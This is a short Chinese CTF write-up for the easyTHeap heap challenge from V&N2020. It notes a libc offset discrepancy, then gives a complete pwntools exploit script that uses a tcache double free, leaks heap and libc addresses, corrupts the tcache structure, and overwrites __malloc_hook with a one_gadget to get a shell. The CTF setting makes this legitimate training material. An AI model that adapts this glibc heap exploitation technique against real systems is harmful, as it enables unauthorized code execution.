[V&N2020 公開賽]easyTHeap pwn_debug注意事項

pwn_debug

pwn_debug 的 2.27 版本計算出來 <main_arena+96> 到 libc_base 的偏移為 0x3afca0 ，而 ub18 的 2.27 偏移算出來是 0x3ebca0 。遠程一直打不通卡了一整天，后來是別的師傅調出來告訴我的 orz...

exp 腳本

from pwn_debug import *
context.log_level = 'debug'

pdbg = pwn_debug('./vn_pwn_easyTHeap')
pdbg.debug('2.27')
pdbg.local('./libc/libc-2.27.so')
pdbg.remote('node3.buuoj.cn',28327)
p = pdbg.run('local')
libc = ELF('./libc/libc-2.27.so')
#libc = pdbg.libc

def add(size):
	p.sendlineafter("choice: ",'1')
	p.sendlineafter("size?",str(size))

def edit(index,content):
	p.sendlineafter('choice: ','2')
	p.sendlineafter("idx?",str(index))
	p.sendlineafter("content:",content)

def show(index):
	p.sendlineafter("choice: ",'3')
	p.sendlineafter("idx?",str(index))

def free(index):
	p.sendlineafter("choice: ",'4')
	p.sendlineafter("idx?",str(index))

add(0x100)#0
add(0x10)#1
free(0)
free(0)
show(0)

heap_addr = u64(p.recv(6).ljust(8,'\x00'))-0x250
add(0x100)#2
edit(2,p64(heap_addr))
add(0x100)#3
add(0x100)#4
edit(4,'\x00'*15 + '\x07')
free(0)
show(0)

libcbase = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
malloc_hook = libcbase + libc.symbols['__malloc_hook']
realloc = libcbase + libc.symbols['realloc']
one_ge=[0x4f2c5,0x4f322,0x10a38c]

gdb.attach(p)
edit(4,'\x00'*15+'\x01'+p64(0)*21+p64(malloc_hook-8))
#gdb.attach(p)
print p64(libcbase+one_ge[2])+p64(realloc+4)
#p.interactive()
add(0x100)#5
#gdb.attach(p)
print 'one_ge[2]:'+ str(hex(libcbase+one_ge[2]))
print 'realloc+4:' +str(hex(realloc+4))
edit(5,p64(libcbase+one_ge[2])+p64(realloc+4))
#gdb.attach(p)
add(0x100)

p.interactive()